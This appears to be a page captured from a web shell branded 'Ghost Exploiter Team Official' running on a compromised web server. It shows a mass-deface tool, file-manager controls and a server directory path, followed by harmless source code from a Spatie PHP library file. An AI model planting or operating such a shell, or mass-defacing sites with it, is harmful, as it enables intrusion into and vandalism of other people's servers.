Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
spatie
/
php-structure-discoverer
/
src
/
Support
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Conditions
--
ren
DiscoverCacheDriverFact
...
0.496KB
edt
ren
LaravelDetector.php
0.31KB
edt
ren
StructureChainResolver.php
3.694KB
edt
ren
StructureScoutManager.php
2.005KB
edt
ren
StructuresResolver.php
2.177KB
edt
ren
UseDefinitionsResolver.php
1.168KB
edt
ren
<?php namespace Spatie\StructureDiscoverer\Support; use Spatie\StructureDiscoverer\Data\DiscoveredClass; use Spatie\StructureDiscoverer\Data\DiscoveredEnum; use Spatie\StructureDiscoverer\Data\DiscoveredInterface; class StructureChainResolver { /** * @param array<DiscoveredClass|DiscoveredEnum|DiscoveredInterface> $discovered */ public function execute(array &$discovered): void { foreach ($discovered as $structure) { if ($structure instanceof DiscoveredClass && $structure->extendsChain === null) { $this->resolveExtendsChain($discovered, $structure); } if ($structure instanceof DiscoveredClass && $structure->implementsChain === null) { $this->resolveImplementsChain($discovered, $structure); } if ($structure instanceof DiscoveredEnum && $structure->implementsChain === null) { $this->resolveImplementsChain($discovered, $structure); } if ($structure instanceof DiscoveredInterface && $structure->extendsChain === null) { $this->resolveImplementsChain($discovered, $structure); } } } /** * @param array<DiscoveredClass> $discovered */ private function resolveExtendsChain( array &$discovered, DiscoveredClass $structure ): void { if ($structure->extends === null) { $structure->extendsChain = []; return; } if (! array_key_exists($structure->extends, $discovered)) { $structure->extendsChain = [$structure->extends]; return; } /** @var DiscoveredClass $extendedStructure */ $extendedStructure = $discovered[$structure->extends]; if ($extendedStructure->extendsChain === null) { $this->resolveExtendsChain($discovered, $extendedStructure); } $structure->extendsChain = [$structure->extends, ...$extendedStructure->extendsChain]; } /** * @param array<DiscoveredClass|DiscoveredEnum|DiscoveredInterface> $discovered */ private function resolveImplementsChain( array &$discovered, DiscoveredClass|DiscoveredEnum|DiscoveredInterface $structure ): void { $implements = $structure instanceof DiscoveredInterface ? $structure->extends : $structure->implements; $chain = $implements; foreach ($implements as $implement) { if (! array_key_exists($implement, $discovered)) { $chain[] = $implement; continue; } /** @var DiscoveredInterface $implementedStructure */ $implementedStructure = $discovered[$implement]; if ($implementedStructure->extendsChain === null) { $this->resolveImplementsChain($discovered, $implementedStructure); } array_push($chain, ...$implementedStructure->extendsChain); } if ($structure instanceof DiscoveredClass && $structure->extends && array_key_exists($structure->extends, $discovered) ) { /** @var DiscoveredClass $extendedStructure */ $extendedStructure = $discovered[$structure->extends] ?? null; if ($extendedStructure->implementsChain === null) { $this->resolveImplementsChain($discovered, $extendedStructure); } array_push($chain, ...$extendedStructure->implementsChain); } $chain = array_unique($chain); if ($structure instanceof DiscoveredInterface) { $structure->extendsChain = $chain; } else { $structure->implementsChain = $chain; } } }